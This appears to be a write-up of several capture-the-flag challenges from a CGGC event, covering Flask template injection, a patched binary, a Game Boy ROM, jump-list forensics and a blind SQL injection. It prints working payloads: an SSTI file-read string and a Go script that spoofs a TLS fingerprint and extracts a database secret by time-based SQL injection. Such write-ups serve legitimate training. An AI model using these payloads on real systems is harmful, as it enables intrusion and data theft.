[Web] bossti#
Description:
I wish you were a boss wannabe.


Secret is empty.

boss, as hinted by the challenge.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYm9zcyIsImhhY2siOiIifQ.VhS5VSRlR_RrgIlF-gdl-s1_PVHPQCxB3s8oHgwEPJ4
Wappalyzer shows that the service is Python Flask, so we can start by trying Python SSTI payloads.

{{ 7*6 }} into the hack field makes the server evaluate it as 42, confirming SSTI.
http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{7*6}}%27}
Flag.txt, so the next step is to look for a file-read payload. Ideally, we would first find a way to list files, but guessing the current directory happened to work.
http://10.99.111.109:5000/boss?data={%27user_id%27%3A+1,+%27role%27%3A+%27boss%27,+%27hack%27%3A+%27{{get_flashed_messages.__globals__.__builtins__.open(%22Flag.txt%22).read()}}%27}- flag:
CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}
[MISC] Space game#
Description:
Play a fun space game and try to get a high score. Move using the arrow keys and press ‘Z’ to attack.

binjgb is a Game Boy emulator. According to its GitHub documentation, the .gb file needs to be served from the server.

game.gb, and the flag is hidden inside that file.
- flag:
CGGC{Y0U_WIN!!123}
[Reverse] GaoYi#
Description:
Anyone can participate with three million US dollars.


main function contains two gambling rounds. It reads user input and then checks whether we win.

readFlag().

readFlag() calculates the flag. I originally thought about reimplementing the calculation, but that felt unnecessary.

0x00401e3c, which lets the program calculate the flag directly.

main and tried to jump there directly.


eb6a to e939040000.



- flag:
CGGC{J00_sh4ll_n07_sH1P_S3cR37S_70_cuS70M3r}
[Web] Flag Slot Machine#
Description:
If you’re lucky enough, you’ll be able to get the flag.
// flag.php
<?php
include_once("config.php");
if(isset($_GET["secret"])) {
$pwd = $_GET["secret"];
$dbname = 'secret_db';
$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
if ($conn->connect_error) {
die('Connection failed: ' . $conn->connect_error);
}
$stmt = $conn->prepare("SELECT * FROM s3cret_table");
$stmt->execute();
$result = $stmt->get_result();
$response = array("data" => generateRandomString(strlen($flag)));
if ($result->num_rows > 0) {
$res = $result->fetch_assoc();
if($res["secret"] == $pwd)
$response = array("data" => $flag); // <-- flag here
}flag.php requires us to provide a secret through a GET parameter. If it matches the secret in the database, we can get the flag.
// login.php
<?php
include_once("config.php");
fingerprint_check();
if(isset($_POST['user']) && isset($_POST['pwd'])) {
$user = $_POST['user'];
$pwd = $_POST['pwd'];
} else {
$user = $pwd = "";
}
//...
if($user != "" && $pwd != "") {
$dbname = 'slot_db';
$conn = new mysqli(HOST, DBUSER, DBPASS, $dbname);
if ($conn->connect_error) {
die('Connection failed: ' . $conn->connect_error);
}
$conn->set_charset("utf8");
$stmt = $conn->prepare("SELECT * FROM users WHERE username = '" . $user . "' and password = '" . md5($pwd) . "'"); // <-- SQLi here
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$res = $result->fetch_assoc();
$_SESSION['login'] = $res["username"];
echo "<div>Login successful!</div>";
echo "<script>setTimeout(function(){ window.location.href = 'index.php'; }, 1000);</script>";
} else {
echo "<div class=\"alert alert-danger\" role=\"alert\">Login failed! QAQ</div>";
}login.php has a SQL injection vulnerability. Unfortunately, there is no output, so we cannot directly dump the database contents to the page.
// config.php
<?php
session_start();
define("FINGERPRINT", "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
define("DBUSER", "kaibro");
define("DBPASS", "superbig");
define("HOST", "localhost");
$flag = 'CGGC{fake_flag}';
function session_check() {
if(!isset($_SESSION['login']) || $_SESSION['login'] == "") {
header("Location: login.php");
die("Plz login");
}
}
function fingerprint_check() {
if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT)
die("Bad hacker! Wrong fingerprint!");
}Before attempting to log in, we are blocked by the JA3 fingerprint check. This challenge also appeared in Balsn CTF, and the following writeup is useful. I initially followed the writeup and used NodeJS, but asynchronous execution made timing checks awkward, so I switched to the Go version.
use mysql;
CREATE USER 'kaibro'@'localhost' IDENTIFIED BY 'superbig';
GRANT SELECT ON *.* TO 'kaibro'@localhost IDENTIFIED BY 'superbig' WITH GRANT OPTION;
FLUSH PRIVILEGES;
CREATE DATABASE slot_db;
use slot_db;
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(11) DEFAULT NULL,
`username` text,
`password` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
LOCK TABLES `users` WRITE;
INSERT INTO `users` VALUES (1, 'kaibro', '4647570f7638e378e490db41c24c800a');
UNLOCK TABLES;
CREATE DATABASE secret_db;
use secret_db;
DROP TABLE IF EXISTS `s3cret_table`;
CREATE TABLE `s3cret_table` (
`id` int(11) DEFAULT NULL,
`secret` text
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
LOCK TABLES `s3cret_table` WRITE;
INSERT INTO `s3cret_table` VALUES (1, 'meowmeowmeow');
UNLOCK TABLES;Before using UNION SELECT for SQL injection, we need to determine the number of columns. The challenge provides the database schema, so we already know there are three columns. Our target is the secret from secret_db.s3cret_table; because there is no output, we have to extract it one character at a time. First, we determine the length of secret with a time-based payload: when the condition is true, the server sleeps for a few seconds. After a few attempts, the length is confirmed to be 32.
user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123'
Next, brute-force the secret character by character by comparing ASCII values. One thing to watch out for is that the secret updates periodically, so do not do this manually. Yes, I wasted time doing it manually, and that is how I noticed the characters were probably in [0-9a-f]. This is also why the Go version is better here: it makes timing checks easier to handle.
package main
import (
"fmt"
"github.com/Danny-Dasilva/CycleTLS/cycletls"
"strconv"
"time"
"net/http"
"crypto/tls"
"io/ioutil"
)
func main() {
client := cycletls.Init()
// secret length = 32
// Body: 'user=kaibro' UNION Select 1,2,IF(length(secret)=32,SLEEP(5),0) FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123',
secret := ""
chars := "abcdef1234567890"
for len(secret) < 32 {
for _, char := range chars {
payload := "user=kaibro' UNION Select 1,IF(SUBSTRING(secret," + strconv.Itoa(len(secret)+1) + ",1) = CHAR(" + strconv.Itoa(int(char)) + "),SLEEP(2),null),3 FROM secret_db.s3cret_table WHERE id=1 -- '&pwd=123"
//fmt.Println(payload)
start := time.Now()
_, err := client.Do("https://10.99.111.111:8787/login.php", cycletls.Options{
Body : payload,
Ja3: "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0",
UserAgent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0",
Headers: map[string]string{
"Content-Type": "application/x-www-form-urlencoded",
},
InsecureSkipVerify: true,
}, "POST");
if err != nil {
fmt.Print("Request Failed: " + err.Error())
}
elapsed := time.Since(start)
//fmt.Println(elapsed)
if (elapsed >= 2000000000) {
secret = secret + string(char)
fmt.Println(secret)
break
}
}
}
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
response, err := http.Get("https://10.99.111.111:8787/flag.php?secret=" + secret)
if err != nil {
fmt.Print("Request Failed: " + err.Error())
}
// read response body
body, error := ioutil.ReadAll(response.Body)
if error != nil {
fmt.Println(error)
}
// close response body
response.Body.Close()
// print response body
fmt.Println(string(body))
}

secret to flag.php to get the flag.
[MISC] Link list#
Description:
DO you know how automatic destination file work? (The flag is separarted into four parts)

- C:\Challenge\
_l457_p4r7_15_h1dd3n!}

l l e n g e \. If you search with C:\Challenge\, the order gets mixed up.
F L A G IS Pr ob bly Here! Youre Clo se Here It is_ CG GC{ 3 z _f 1 r5 7_ qu 4 r 7 3r _CGGC{3z_f1r57_qu4r73r_

C:\> $t='aRB3BDtBNRAiBGFBNBA2BGVB[tB0BDdBNRAzBDRB[tBtBD7BNtB>';for(($i=0);$i-lt$t.Length;$i++){$k+=[char]($t[$i]-bxor3)};[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($k))
m4l1c10u5_7h1rd_0n3m4l1c10u5_7h1rd_0n3
Only the second part was still missing in the end, so I did not fully solve this challenge :(
CGGC{3z_f1r57_qu4r73r_m4l1c10u5_7h1rd_0n3_l457_p4r7_15_h1dd3n!}
